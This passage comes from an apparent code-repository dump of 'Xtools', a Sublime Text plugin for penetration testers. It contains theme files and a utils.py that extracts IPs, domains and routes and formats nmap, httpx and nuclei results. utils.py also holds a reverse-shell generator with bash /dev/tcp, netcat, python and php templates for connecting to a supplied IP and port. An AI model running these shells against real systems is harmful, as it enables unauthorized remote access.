variable.sass, variable.parameter.url.scss, variable.parameter.url.sass\"\n    },\n    {\n      \"name\": \"Variables in SASS At-Rules\",\n      \"foreground\": \"#82AAFF\",\n      \"font_style\": 0,\n      \"scope\": \"source.css.scss meta.at-rule variable, source.css.sass meta.at-rule variable\"\n    },\n    {\n      \"name\": \"Variables in SASS At-Rules\",\n      \"foreground\": \"#bec5d4\",\n      \"font_style\": 0,\n      \"scope\": \"source.css.scss meta.at-rule variable, source.css.sass meta.at-rule variable\"\n    },\n    {\n      \"name\": \"Attribute Name for SASS\",\n      \"foreground\": \"#F78C6C\",\n      \"font_style\": 0,\n      \"scope\": \"meta.attribute-selector.scss entity.other.attribute-name.attribute, meta.attribute-selector.sass entity.other.attribute-name.attribute\"\n    },\n    {\n      \"name\": \"Tag names in SASS\",\n      \"foreground\": \"#ff5572\",\n      \"font_style\": 0,\n      \"scope\": \"entity.name.tag.scss, entity.name.tag.sass\"\n    },\n    {\n      \"name\": \"TypeScript[React] Variables and Object Properties\",\n      \"foreground\": \"#bfc7d5\",\n      \"font_style\": 0,\n      \"scope\": \"variable.other.readwrite.alias.ts, variable.other.readwrite.alias.tsx, variable.other.readwrite.ts, variable.other.readwrite.tsx, variable.other.object.ts, variable.other.object.tsx, variable.object.property.ts, variable.object.property.tsx, variable.other.ts, variable.other.tsx, variable.tsx, variable.ts\"\n    },\n    {\n      \"name\": \"TypeScript[React] Entity Name Types\",\n      \"foreground\": \"#78ccf0\",\n      \"font_style\": 0,\n      \"scope\": \"entity.name.type.ts, entity.name.type.tsx\"\n    },\n    {\n      \"name\": \"TypeScript[React] Node Classes\",\n      \"foreground\": \"#82AAFF\",\n      \"font_style\": 0,\n      \"scope\": \"support.class.node.ts, support.class.node.tsx\"\n    },\n    {\n      \"name\": \"TypeScript[React] Entity Name Types as Parameters\",\n      \"foreground\": \"#eeffff\",\n      \"font_style\": 0,\n      \"scope\": \"meta.type.parameters.ts entity.name.type, meta.type.parameters.tsx entity.name.type\"\n    },\n    {\n      \"name\": \"TypeScript[React] Import/Export Punctuations\",\n      \"foreground\": \"#bfc7d5\",\n      \"font_style\": 0,\n      \"scope\": \"meta.import.ts punctuation.definition.block, meta.import.tsx punctuation.definition.block, meta.export.ts punctuation.definition.block, meta.export.tsx punctuation.definition.block\"\n    },\n    {\n      \"name\": \"TypeScript[React] Punctuation Decorators\",\n      \"foreground\": \"#82AAFF\",\n      \"font_style\": 0,\n      \"scope\": \"meta.decorator punctuation.decorator.ts, meta.decorator punctuation.decorator.tsx\"\n    },\n    {\n      \"name\": \"TypeScript[React] Punctuation Decorators\",\n      \"foreground\": \"#82AAFF\",\n      \"font_style\": 0,\n      \"scope\": \"meta.tag.js meta.jsx.children.tsx\"\n    },\n    {\n      \"name\": \"YAML Entity Name Tags\",\n      \"foreground\": \"#89DDFF\",\n      \"font_style\": 0,\n      \"scope\": \"entity.name.tag.yaml\"\n    },\n    {\n      \"name\": \"handlebars variables\",\n      \"foreground\": \"#bec5d4\",\n      \"font_style\": 0,\n      \"scope\": \"variable.parameter.handlebars\"\n    },\n    {\n      \"name\": \"handlebars parameters\",\n      \"foreground\": \"#ffcb6b\",\n      \"font_style\": 0,\n      \"scope\": \"entity.other.attribute-name.handlebars variable.parameter.handlebars\"\n    },\n    {\n      \"name\": \"handlebars enitity attribute names\",\n      \"foreground\": \"#89DDFF\",\n      \"font_style\": 0,\n      \"scope\": \"entity.other.attribute-name.handlebars\"\n    },\n    {\n      \"name\": \"handlebars enitity attribute values\",\n      \"foreground\": \"#7986E7\",\n      \"font_style\": 0,\n      \"scope\": \"entity.other.attribute-value.handlebars variable.parameter.handlebars\"\n    },\n    {\n      \"name\": \"normalize font style of certain components\",\n      \"font_style\": 0,\n      \"scope\": \"meta.tag.js meta.embedded.expression.js punctuation.section.embedded.begin.js, meta.tag.js meta.embedded.expression.js punctuation.section.embedded.end.js, meta.property-list.css meta.property-value.css variable.other.less, punctuation.section.embedded.begin.js.jsx, punctuation.section.embedded.end.js.jsx, meta.property-list.scss variable.scss, meta.property-list.sass variable.sass, keyword.operator.logical, keyword.operator.arithmetic, keyword.operator.bitwise, keyword.operator.increment, keyword.operator.ternary, keyword.operator.comparison, keyword.operator.assignment, keyword.operator.operator, keyword.operator.or.regexp, keyword.operator.expression.in, keyword.operator.type, punctuation.section.embedded.js, punctuation.definintion.string, punctuation\"\n    },\n    {\n            \"name\": \"Xtools Red\",\n            \"scope\": \"xtools.red\",\n            \"foreground\": \"var(red)\"\n        },\n        {\n            \"name\": \"Xtools Blue\",\n            \"scope\": \"xtools.blue\",\n            \"foreground\": \"var(blue)\"\n        },\n        {\n            \"name\": \"Xtools Peach\",\n            \"scope\": \"xtools.peach\",\n            \"foreground\": \"var(peach)\"\n        },\n        {\n            \"name\": \"Xtools Mauve\",\n            \"scope\": \"xtools.mauve\",\n            \"foreground\": \"var(mauve)\"\n        },\n        {\n            \"name\": \"Xtools Green\",\n            \"scope\": \"xtools.green\",\n            \"foreground\": \"var(green)\"\n        },\n        {\n            \"name\": \"Xtools Sky\",\n            \"scope\": \"xtools.sky\",\n            \"foreground\": \"var(sky)\"\n        },\n        {\n            \"name\": \"Xtools Comment\",\n            \"scope\": \"xtools.comment\",\n            \"foreground\": \"var(overlay)\"\n        },\n  ]\n}\n"
  },
  {
    "path": "themes/Palenight Theme.sublime-theme",
    "content": "{\n  \"extends\": \"Adaptive.sublime-theme\",\n  \"variables\": {\n    \"font_face\": \"system\",\n    \"font_size_sm\": 11,\n    \"font_size\": 12,\n    \"font_size_lg\": 16\n  },\n  \"rules\": [\n    {\n      \"class\": \"title_bar\",\n      \"fg\": \"#eeefff\"\n    },\n    {\n      \"class\": \"sidebar_container\",\n      \"layer0.tint\": \"#292D3E\"\n    },\n    {\n      \"class\": \"status_bar\",\n      \"layer0.tint\": \"#282C3D\"\n    },\n    {\n      \"class\": \"label_control\",\n      \"parents\": [\n        {\n          \"class\": \"status_bar\"\n        }\n      ],\n      \"fg\": \"#676E95\"\n    },\n    {\n      \"class\": \"tree_row\",\n      \"attributes\": [\n        \"selectable\",\n        \"hover\"\n      ],\n      \"layer0.tint\": \"#929ac90d\",\n      \"layer0.opacity\": 1\n    },\n    {\n      \"class\": \"tree_row\",\n      \"attributes\": [\n        \"selected\"\n      ],\n      \"layer0.tint\": \"#7e57c2\",\n      \"layer0.opacity\": 1\n    },\n    {\n      \"class\": \"sidebar_heading\",\n      \"fg\": \"#eeffff\"\n    },\n    {\n      \"class\": \"sidebar_label\",\n      \"fg\": \"#6C739A\"\n    },\n    {\n      \"class\": \"sidebar_label\",\n      \"parents\": [\n        {\n          \"class\": \"tree_row\",\n          \"attributes\": [\n            \"selected\"\n          ]\n        }\n      ],\n      \"fg\": \"#ffffff\"\n    },\n    {\n      \"class\": \"vcs_status_badge\",\n      \"parents\": [\n        {\n          \"class\": \"file_system_entry\",\n          \"attributes\": [\n            \"untracked\"\n          ]\n        }\n      ],\n      \"layer0.tint\": \"#a9c77dff\"\n    },\n    {\n      \"class\": \"vcs_status_badge\",\n      \"parents\": [\n        {\n          \"class\": \"file_system_entry\",\n          \"attributes\": [\n            \"modified\"\n          ]\n        }\n      ],\n      \"layer0.tint\": \"#e2c08de6\"\n    },\n    {\n      \"class\": \"vcs_status_badge\",\n      \"parents\": [\n        {\n          \"class\": \"file_system_entry\",\n          \"attributes\": [\n            \"missing\"\n          ]\n        }\n      ],\n      \"layer0.tint\": \"#EF535090\"\n    },\n    {\n      \"class\": \"vcs_status_badge\",\n      \"parents\": [\n        {\n          \"class\": \"file_system_entry\",\n          \"attributes\": [\n            \"staged\"\n          ]\n        }\n      ],\n      \"layer0.tint\": \"\"\n    },\n    {\n      \"class\": \"vcs_status_badge\",\n      \"parents\": [\n        {\n          \"class\": \"file_system_entry\",\n          \"attributes\": [\n            \"added\"\n          ]\n        }\n      ],\n      \"layer0.tint\": \"\"\n    },\n    {\n      \"class\": \"vcs_status_badge\",\n      \"parents\": [\n        {\n          \"class\": \"file_system_entry\",\n          \"attributes\": [\n            \"deleted\"\n          ]\n        }\n      ],\n      \"layer0.tint\": \"#EF535090\"\n    },\n    {\n      \"class\": \"sidebar_label\",\n      \"parents\": [\n        {\n          \"class\": \"file_system_entry\",\n          \"attributes\": [\n            \"ignored\"\n          ]\n        }\n      ],\n      \"color\": \"#69709890\"\n    },\n    {\n      \"class\": \"tab_control\",\n      \"attributes\": [\n        \"selected\"\n      ],\n      \"tint_modifier\": \"#292D3E\"\n    },\n    {\n      \"class\": \"tab_control\",\n      \"attributes\": [\n        \"dirty\"\n      ],\n      \"settings\": [\n        \"highlight_modified_tabs\"\n      ],\n      \"layer2.tint\": \"#ffffff\"\n    },\n    {\n      \"class\": \"tab_label\",\n      \"fg\": \"#6C739A\"\n    },\n    {\n      \"class\": \"tab_label\",\n      \"parents\": [\n        {\n          \"class\": \"tab_control\",\n          \"attributes\": [\n            \"selected\"\n          ]\n        }\n      ],\n      \"fg\": \"#ffffff\"\n    }\n  ]\n}\n"
  },
  {
    "path": "themes/Sixteen.sublime-color-scheme",
    "content": "// Documentation at https://www.sublimetext.com/docs/color_schemes.html\n{\n\t\"variables\":\n\t{\n\t},\n\t\"globals\":\n\t{\n\t},\n\t\"rules\":\n\t[\n\t\t{\n            \"name\": \"Xtools Red\",\n            \"scope\": \"xtools.red\",\n            \"foreground\": \"var(red)\"\n        },\n        {\n            \"name\": \"Xtools Blue\",\n            \"scope\": \"xtools.blue\",\n            \"foreground\": \"var(blue)\"\n        },\n        {\n            \"name\": \"Xtools Peach\",\n            \"scope\": \"xtools.peach\",\n            \"foreground\": \"var(orange)\"\n        },\n        {\n            \"name\": \"Xtools Mauve\",\n            \"scope\": \"xtools.mauve\",\n            \"foreground\": \"var(pink)\"\n        },\n        {\n            \"name\": \"Xtools Green\",\n            \"scope\": \"xtools.green\",\n            \"foreground\": \"var(yellow)\"\n        },\n        {\n            \"name\": \"Xtools Sky\",\n            \"scope\": \"xtools.sky\",\n            \"foreground\": \"var(blue2)\"\n        },\n        {\n            \"name\": \"Xtools Comment\",\n            \"scope\": \"xtools.comment\",\n            \"foreground\": \"var(grey)\"\n        },\n\t]\n}\n"
  },
  {
    "path": "utils.py",
    "content": "# -*- coding=utf-8 -*-\n# Functions lib\n\nimport sublime\nfrom .config import *\nimport re, os, hashlib, socket\nfrom urllib.parse import urlparse, quote, unquote\nimport ipaddress\n\n\n'''\n# base functions\n# global vars\n'''\n\n# Xtools Root Path\nXTOOLS_ROOT = os.path.join(sublime.packages_path(),\"Xtools\")\n\n# syntax file\nSYNTAX_FILE = 'Xtools-Text.sublime-syntax'\n\n# Get system type\nplatform = sublime.platform()\n\ntry:\n    if platform == 'osx': from .applescript import tell\nexcept:\n    sublime.message_dialog('[waring] applescript 文件导入出错, 请检查')\n\n\ndef check_version(current_version):\n    try:\n        from urllib.request import urlopen\n        readme = urlopen(\"https://raw.githubusercontent.com/chasingboy/Xtools/main/README.md\",timeout=3).read()\n        version = re.findall(r'Version-V(.+)-green',readme.decode())[0]\n        \n        if current_version < version:\n            return '最新版本 @{v}, 请下载更新...'.format(v=version)\n    except:\n        return '版本信息获取失败,请github查看'\n\n    return '已是最新版'\n\n### --- END ---\n\ndef convert_ipv4_to_C(view):\n    rets = {}\n    pattern = r'\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}'\n    regions = view.find_all(pattern)\n\n    for region in regions:  \n        ip = view.substr(region)\n        if ip in rets.keys():\n            rets[ip] = rets[ip] + 1\n        else:\n            rets[ip] = 1\n\n    rets = sorted(rets.items(), key=lambda v:v[1], reverse = True)\n\n    text = '[+] 所有 C 段: \\n'\n    for line in rets:\n        text += '{0}.0/24 [{1}]'.format(line[0],line[1]) + \"\\n\"\n        \n    return text\n\n\ndef convert_C_to_ipv4(view):\n    pattern = r'(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[1-9])\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)((([\\-](1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[1-9])|/(1\\d|2\\d|3[0-2]|[1-9]))(\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d))?)?)'\n    regions = view.find_all(pattern)\n    \n    ret = []   \n    for region in regions:\n        line = view.substr(region)\n        try:\n            if '/' in line:\n                ips = ipaddress.ip_network(line.strip(),strict=False).hosts()\n                for ip in ips:\n                    ret.append(str(ip))\n            elif '-' in line:\n                start,end = line.split('-')\n                ip_range = parse_ip_range(start,end)\n                ret += ip_range\n            else:\n                ret.append(line)\n        except Exception as e:\n            print(e)\n            sublime.message_dialog('[error] IP C is invaild! Please check...')\n\n    ret = '\\n'.join(unique_sort_ipv4(ret))\n    return ret\n\n\ndef parse_ip_range(start,end):\n    if '.' not in end:\n        end = start.rsplit('.',1)[0] + '.' + end\n    \n    start = ipaddress.ip_address(start)\n    end = ipaddress.ip_address(end)\n    ip_range = list(range(int(start),int(end)+1))\n    ip_range = [str(ipaddress.ip_address(ip)) for ip in ip_range]\n    \n    return ip_range\n\n\ndef convert_ipv4_to_B(view):\n    rets = {}\n    pattern = r'\\d{1,3}\\.\\d{1,3}\\.'\n    regions = view.find_all(pattern)\n\n    for region in regions:  \n        ip = view.substr(region).strip('.')\n        if ip in rets.keys():\n            rets[ip] = rets[ip] + 1\n        else:\n            rets[ip] = 1\n\n    rets = sorted(rets.items(), key=lambda v:v[1], reverse = True)\n\n    text = '[+] 所有 B 段: \\n'\n    for line in rets:\n        text += '{0}.0.0/16 [{1}]'.format(line[0],line[1]) + \"\\n\"\n        \n    return text\n\n\ndef select_ipv4(view):\n    pattern = r'(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[1-9])\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)((([\\-](1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[1-9])|/(1\\d|2\\d|3[0-2]|[1-9]))(\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d))?)?)'\n    regions = view.find_all(pattern)\n\n    lan_ips = []\n    wan_ips = []\n    for region in regions:\n        text = view.substr(region)\n        temp = text.split('-')[0].split('/')[0]\n        if is_lan(temp):\n            lan_ips.append(text)\n        else:\n            wan_ips.append(text)\n            \n    return unique_sort_ipv4(lan_ips),unique_sort_ipv4(wan_ips)\n\n\ndef is_lan(ip):\n    try:\n        return ipaddress.ip_address(ip.strip()).is_private or ipaddress.ip_address(ip.strip()).is_loopback\n    except Exception as e:\n        return False\n\n\ndef select_ipv4_range(view):\n    pattern = r'(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[1-9])\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)((([\\-](1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[1-9])|/(1\\d|2\\d|3[0-2]|[1-9]))(\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d))?))'\n    regions = view.find_all(pattern)\n    ips = []\n    for region in regions:\n        text = view.substr(region)\n        ips.append(text)\n    \n    return unique_sort_ipv4(ips)\n\n\ndef select_ipv4_port(view):\n    pattern = r'(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[1-9])\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)((([\\-](1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[1-9])|/(1\\d|2\\d|3[0-2]|[1-9]))(\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d))?)?):(\\d{1,5})'\n    regions = view.find_all(pattern)\n    ip_ports = []\n    for region in regions:\n        text = view.substr(region)\n        if int(text.split(':')[1]) <= 65535:\n            ip_ports.append(text)\n        \n    return ip_ports\n\n\ndef count_ipv4_number(view):\n    pattern = r'(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[1-9])\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)((([\\-](1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[1-9])|/(1\\d|2\\d|3[0-2]|[1-9]))(\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d))?)?)'\n    regions = view.find_all(pattern)\n    ipv4_counts = {}\n    \n    for region in regions:\n        text = view.substr(region)\n        if text in ipv4_counts.keys():\n            ipv4_counts[text] = ipv4_counts[text] + 1\n        else:\n            ipv4_counts[text] = 1\n\n    rets = sorted(ipv4_counts.items(), key=lambda v:v[1], reverse = True)\n\n    text = '[+] 统计 IP 数量: \\n'\n    for line in rets:\n        text += '{0} [{1}]'.format(line[0],line[1]) + \"\\n\"\n        \n    return text\n\n\ndef select_domain(view):\n    pattern = r'([a-zA-Z0-9]([a-zA-Z0-9\\-]{0,61}[a-zA-Z0-9])?\\.)+('+top_sufix+'|'+country_sufix+')'\n    regions = view.find_all(pattern, sublime.IGNORECASE)\n\n    rootdomains = []\n    domains = []\n    for region in regions:\n        text = view.substr(region)\n        domains.append(text)\n        rootdomains.append(select_rootdomain(text))\n\n    domains = list(set(domains))\n    rootdomains = list(set(rootdomains))\n    return sorted(domains), sorted(rootdomains)\n\n\ndef select_rootdomain(text):\n    dms = text.split('.')\n    if len(dms) == 2:\n        return text\n    if dms[-2] in top_sufix and dms[-1] in country_sufix:\n        root = \"{0}.{1}.{2}\".format(dms[-3],dms[-2],dms[-1])\n        return root\n    if dms[-1] in top_sufix or dms[-1] in country_sufix:\n        root = \"{0}.{1}\".format(dms[-2],dms[-1])\n        return root\n\n\ndef select_urls(view, path=False):\n    pattern = r'https?://[-A-Za-z0-9+&@#/%?=~_|!:,.;]+[-A-Za-z0-9+&@#/%=~_|]'\n    regions = view.find_all(pattern, sublime.IGNORECASE)\n\n    array = []\n    for region in regions:\n        text = view.substr(region)\n        if path == False:\n            text = delete_url_path(text)\n        if text not in array:\n            array.append(text)\n            \n    text = '\\n'.join(array)\n    return text\n\n\ndef exec_command(cmd):\n    if platform == 'windows':\n        os.system('start cmd /k ' + cmd)\n    elif platform == 'osx':\n        tell.app('Terminal','do script\"{cmd}\"'.format(cmd=cmd),background=True)\n    \n    elif platform == 'linux':\n        os.system(\"gnome-terminal -e 'bash -c \\\"{cmd}\\\"'\".format(cmd=cmd))\n    else:\n        sublime.message_dialog('[waring] <Run Command> module is not supported this system')\n\n\ndef write_file(workdir,text):\n    file = os.path.join(workdir,hashlib.md5(text.encode('utf-8')).hexdigest())\n    with open(file,'w') as fw:\n        fw.write(text)\n\n    return file\n\n\ndef read_file(file):\n    with open(file) as fr:\n        text = fr.read().strip('\\n')\n    return text\n\n\ndef delete_url_path(url):\n    o = urlparse(url)\n    return o.scheme + '://' + o.netloc\n\n\ndef is_url(urls):\n    errurls = ''\n    for url in urls:\n        if re.match(r'^https?:/{2}\\w.+$', url):\n            pass\n        else:\n            errurls += url + '\\n'\n    return errurls\n\n\ndef unique_sort_ipv4(ips):\n    try:\n        ips = sorted(list(set(ips)),key=socket.inet_aton)\n    except:\n        ips = sorted(list(set(ips)))\n    return ips\n\n\ndef add_prefix_suffix(text,chars,cmd):\n    '''\n    : cmd: prefix, suffix, prefix-line, suffix-line\n\n    '''\n    lines, text = text.split('\\n'), ''\n\n    def concat(lines,chars,text):\n        chars = chars.split('\\n')\n        if len(chars) != len(lines):\n            sublime.message_dialog('[waring]  The number of text lines is not same')\n            return None\n\n        for x,line in enumerate(lines):\n            line = (chars[x] + line) if cmd == 'prefix-line' else (line+chars[x])\n            text = text + line + '\\n'\n        \n        return text\n\n    if 'line' in cmd:\n        return concat(lines,chars,text)\n\n    for line in lines:\n        line = (chars+line) if cmd == 'prefix' else (line+chars)\n        text = text +  line + '\\n'\n    \n    return text\n\n\n'''\nSelect Routers\n: urls,sort,filter\n: Regex copy from linkfinder\n'''\n\nregex_str = r\"\"\"\n\n  (?:\"|')                               # Start newline delimiter\n\n  (\n    ((?:[a-zA-Z]{1,10}://|//)           # Match a scheme [a-Z]*1-10 or //\n    [^\"'/]{1,}\\.                        # Match a domainname (any character + dot)\n    [a-zA-Z]{2,}[^\"']{0,})              # The domainextension and/or path\n\n    |\n\n    ((?:[a-zA-Z]{1,10}://|//)\n    (?:\\d{1,3}\\.){3}\\d{1,3}\n    (?::\\d+)?(?:/[^\\s\"'<>]*)?)          # Match http://172.16.1.1:80/path\n\n    |\n\n    ((?:/|\\.\\./|\\./)                    # Start with /,../,./\n    [^\"'><,;| *()(%%$^/\\\\\\[\\]]          # Next character can't be...\n    [^\"'><,;|()]{1,})                   # Rest of the characters can't be\n\n    |\n\n    ([a-zA-Z0-9_\\-/]{1,}/               # Relative endpoint with /\n    [a-zA-Z0-9_\\-/]{1,}                 # Resource name\n    \\.(?:[a-zA-Z]{1,10}|action)          # Rest + extension (length 1-10 or action)\n    (?:[\\?|#][^\"|']{0,}|))              # ? or # mark with parameters\n\n    |\n\n    ([a-zA-Z0-9_\\-/]{1,}/               # REST API (no extension) with /\n    [a-zA-Z0-9_\\-/]{3,}                 # Proper REST endpoints usually have 3+ chars\n    (?:[\\?|#][^\"|']{0,}|))              # ? or # mark with parameters\n\n    |\n\n    ([a-zA-Z0-9_\\-]{1,}                 # filename\n    \\.(?:php|asp|aspx|jsp|json|\n         action|html|js|txt|xml)        # . + extension\n    (?:[\\?|#][^\"|']{0,}|))              # ? or # mark with parameters\n\n  )\n\n  (?:\"|')                               # End newline delimiter\n\n\"\"\"\n\n\ndef select_routers(text):\n    regex = re.compile(regex_str, re.VERBOSE)\n    routers = [m.group(1).lstrip('/') for m in re.finditer(regex, text)]\n    return routers\n\n\ndef filter_routers(results):\n    file_exts = ['png','jpg','jpeg','gif','js','vue','ico','svg','css','ts','bmp','ttf','woff','woff2']\n    routers = ['\\n[+] Routers:\\n']\n    links = ['\\n[+] Links:\\n']\n    filters = ['\\n[+] Filters:\\n']\n    \n    results = sorted(list(set(results)))\n    \n    for router in results:   \n        try:\n            if 'http' in router:\n                links.append(router)\n                continue\n            \n            temp = router\n            if '?' in temp:\n                temp = temp.split('?')[0]\n                if temp in routers:\n                    x = routers.pop()\n\n            ext = temp.split('.')[-1]\n            if ext in file_exts:\n                filters.append(router)\n            else:\n                routers.append(router)\n        except:\n            pass\n\n    routers = [('/' + line) for line in routers]\n    text = '\\n'.join(routers+links+filters).lstrip('/')\n    return text\n\n\n'''\nReverse shell tool\n# bash, /bin/bash\n# sh, /bin/sh\n# python, php, nc\n'''\n\ndef reverse_shell_tools(shell,ip_port):\n    if ip_port.count(':') != 1:\n        info = '[-] Input format has error(ip:port)'\n        return info\n    ip,port = ip_port.split(':')\n\n    shell_template = '''\n---------------------------------------------------------------------------------------\n# Bash -i\n{cmd} -i >& /dev/tcp/{ip}/{port} 0>&1\n\n# Bash 196\n0<&196;exec 196<>/dev/tcp/{ip}/{port}; {cmd} <&196 >&196 2>&196\n\n# Bash 5\n{cmd} -i 5<> /dev/tcp/{ip}/{port} 0<&5 1>&5 2>&5\n\n# Bash read line\nexec 5<>/dev/tcp/{ip}/{port};cat <&5 | while read line; do $line 2>&5 >&5; done\n---------------------------------------------------------------------------------------\n'''\n    other_template = '''\n---------------------------------------------------------------------------------------\n# nc -e\nnc {ip} {port} -e bash\n\n# nc -c\nnc -c sh {ip} {port}\n\n# nc mkfifo\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {ip} {port} >/tmp/f\n\n# ncat -c\nncat {ip} {port} -e sh\n\n# python3\npython3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"{ip}\",{port}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"bash\")'\n\n# php\nphp -r '$sock=fsockopen(\"{ip}\",{port});exec(\"/bin/sh -i <&3 >&3 2>&3\");'\n---------------------------------------------------------------------------------------\n''' \n    \n    if shell == 'other':\n        return other_template.format(ip=ip,port=port)\n    else:\n        return shell_template.format(cmd=shell,ip=ip,port=port) +  shell_template.format(cmd='/bin/'+shell,ip=ip,port=port)\n\n\n'''\nFormating some tool's resulte\n# nmap: result(xml) -> host:port\n: nmap ... -oX xxx.xml\n\n'''\n\ndef format_nmap_open_port(xmls, mode):\n    try:\n        import xml.etree.ElementTree\n    except:\n        sublime.message_dialog('[ERR] could not import xml.etree.ElementTree, please check and install')\n        return 'format failed'\n\n    root = xml.etree.ElementTree.fromstring(xmls)\n    text, wafhosts = [], ['\\n\\n# WAF host:']\n\n    for host in root.findall('host'):\n        address = host.find('address').get('addr')\n        ports   = host.find('ports').findall('port')\n        \n        if mode == \"domain\":\n            try:\n                address = host.find('hostnames').findall('hostname')[0].get('name')\n            except:\n                pass\n\n        if len(ports) > 100:\n            wafhosts.append(address)\n            continue\n        \n        for port in ports:\n            port, state = port.get('portid'), port.find('state').get('state')\n            if state != 'open':\n                continue\n            try:\n                service = port.find('service').get('name')\n            except:\n                service = 'unknow'\n            \n            text.append(address + ':' + port)\n\n    text = '\\n'.join(list(set(text)))\n    if len(wafhosts) > 1:\n        text += '\\n'.join(wafhosts)\n    \n    return text\n\n\ndef select_nmap_ports_from_xml(xmls, mode):\n    '''\n     * when the xml parsed failed\n     * match port by regexp\n    '''\n    text, wafhosts = \"\", ['\\n\\n# WAF host:']\n    hosts = re.findall(r'<host.*?</host>', xmls, flags=re.DOTALL)\n\n    for host in hosts:\n        address, ports = '', []\n        for line in host.split(\"\\n\"):\n            if \"<address\" in line:\n                address = re.findall(r'<address addr=\"(.*?)\" addrtype', line)[0]\n                break\n\n        if address == '':\n            continue\n\n        match = re.search(r'<hostname name=\"(.*?)\" type=', host)\n        if match is not None and mode == \"domain\":\n            address = match.group(1)\n\n        for line in host.split(\"\\n\"):\n            if \"<port protocol\" in line:\n                port = re.findall(r'<port protocol=\"tcp\" portid=\"(.*?)\">', line)[0]\n                ports.append(address + \":\" + port)\n\n            if len(ports) > 100:\n                ports = []\n                wafhosts.append(address)\n                break\n        \n        if len(ports) > 0:\n            text += (\"\\n\".join(ports)) + \"\\n\"\n    \n    if len(wafhosts) > 1 :\n        text += '\\n'.join(wafhosts)\n    \n    return text\n\n\ndef format_httpx_result(text):\n    texts, results = text.split('\\n'), []\n    \n    for text in texts:\n        try:\n            assert (text.startswith('http://') or text.startswith('https://'))\n            url, code, end = text.split(' ', 2)\n        except:\n            continue\n\n        results.append('{code} {url} {end}'.format(code=code, url=url, end=end))\n\n    if results == []:\n        sublime.message_dialog('[waring-httpx] The result format is not supported! Please read the docs')\n        return ''\n\n    return '\\n'.join(sorted(results))\n\n\ndef format_nuclei_result(text):\n    texts, results = text.split('\\n'), []\n\n    results = {'info':[], 'low':[], 'medium': [], 'high': [], 'critical': []}\n    levels = ['info' ,'low', 'medium', 'high', 'critical']\n\n    for text in texts:\n        try:\n            poc, poctype, level, end = text.split(' ', 3)\n            key = level.replace('[','').replace(']','')\n            assert (key in levels)\n        except:\n            continue\n\n        results[key].append(\n            '{level} {poc} {poctype} {end}'.format(level=level, poc=poc, poctype=poctype, end=end)\n        )\n    \n    text = ''\n    for level in levels[::-1]:\n        if results.get(level) != []:\n            text += '\\n'.join(results.get(level)) + '\\n\\n'\n\n    if text == '':\n        sublime.message_dialog('[waring-nuclei] The result format is not supported! Please read the docs')\n        return ''\n\n    return text\n"
  },
  {
    "path": "xtools.py",
